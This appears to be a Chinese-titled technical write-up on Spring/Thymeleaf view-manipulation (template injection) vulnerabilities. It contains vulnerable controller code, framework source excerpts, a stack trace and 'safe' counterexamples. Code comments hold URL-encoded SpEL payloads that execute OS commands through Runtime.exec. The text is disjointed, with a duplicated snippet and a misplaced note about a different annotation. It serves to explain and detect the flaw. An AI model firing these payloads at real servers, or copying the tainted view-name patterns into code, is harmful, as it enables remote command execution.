Spring 视图操纵漏洞

    //GET /path?lang=en HTTP/1.1    //GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x    @GetMapping("/path")    public String path(@RequestParam String lang) {        return "user/" + lang + "/welcome"; //template path is tainted    }
    //GET /fragment?section=main    //GET /fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22touch%20executed%22).getInputStream()).next()%7d__::.x    @GetMapping("/fragment")    public String fragment(@RequestParam String section) {        return "welcome :: " + section; //fragment is tainted    }

  /**   * Render the view given the specified model.   * <p>The first step will be preparing the request: In the JSP case, this would mean   * setting model objects as request attributes. The second step will be the actual   * rendering of the view, for example including the JSP via a RequestDispatcher.   * @param model a Map with name Strings as keys and corresponding model   * objects as values (Map can also be {@code null} in case of empty model)   * @param request current HTTP request   * @param response he HTTP response we are building   * @throws Exception if rendering failed   */  void render(@Nullable Map<String, ?> model, HttpServletRequest request, HttpServletResponse response)      throws Exception;
}

  protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception {      ...
    View view;    String viewName = mv.getViewName();    if (viewName != null) {      // We need to resolve the view name.      view = resolveViewName(viewName, mv.getModelInternal(), locale, request);      if (view == null) {        throw new ServletException("Could not resolve view with name '" + mv.getViewName() +            "' in servlet with name '" + getServletName() + "'");      }    }        ...          try {      if (mv.getStatus() != null) {        response.setStatus(mv.getStatus().value());      }      view.render(mv.getModelInternal(), request, response);    }

  public View resolveViewName(String viewName, Locale locale) throws Exception {    RequestAttributes attrs = RequestContextHolder.getRequestAttributes();    Assert.state(attrs instanceof ServletRequestAttributes, "No current ServletRequestAttributes");    List<MediaType> requestedMediaTypes = getMediaTypes(((ServletRequestAttributes) attrs).getRequest());    if (requestedMediaTypes != null) {      List<View> candidateViews = getCandidateViews(viewName, locale, requestedMediaTypes);      View bestView = getBestView(candidateViews, requestedMediaTypes, attrs);      if (bestView != null) {        return bestView;      }    }

exec:347, Runtime (java.lang)...evaluate:263, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)executeVariableExpression:166, VariableExpression (org.thymeleaf.standard.expression)executeSimple:66, SimpleExpression (org.thymeleaf.standard.expression)execute:109, Expression (org.thymeleaf.standard.expression)execute:138, Expression (org.thymeleaf.standard.expression)preprocess:91, StandardExpressionPreprocessor (org.thymeleaf.standard.expression)parseExpression:120, StandardExpressionParser (org.thymeleaf.standard.expression)parseExpression:62, StandardExpressionParser (org.thymeleaf.standard.expression)parseExpression:44, StandardExpressionParser (org.thymeleaf.standard.expression)renderFragment:278, ThymeleafView (org.thymeleaf.spring5.view)render:189, ThymeleafView (org.thymeleaf.spring5.view)

    //GET /fragment?section=main    //GET /fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22touch%20executed%22).getInputStream()).next()%7d__::.x    @GetMapping("/fragment")    public String fragment(@RequestParam String section) {        return "welcome :: " + section; //fragment is tainted    }

@GetMapping("/safe/fragment")    @ResponseBody    public String safeFragment(@RequestParam String section) {        return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name    }

1、该注解用于读取Request请求的body部分数据，使用系统默认配置的HttpMessageConverter进行解析，然后把相应的数据绑定到要返回的对象上；2、再把HttpMessageConverter返回的对象数据绑定到 controller中方法的参数上。

@GetMapping("/safe/redirect")public String redirect(@RequestParam String url) {    return "redirect:" + url; //FP as redirects are not resolved as expressions}
@GetMapping("/safe/forward")public String forward(@RequestParam String url) {    return "forward:" + url; //FP as redirects are not resolved as expressions}

      @GetMapping("/doc/{document}")    public void getDocument(@PathVariable String document) {        log.info("Retrieving " + document);        //returns void, so view name is taken from URI    }    @GetMapping("/safe/doc/{document}")    public void getDocument(@PathVariable String document, HttpServletResponse response) {        log.info("Retrieving " + document); //FP    }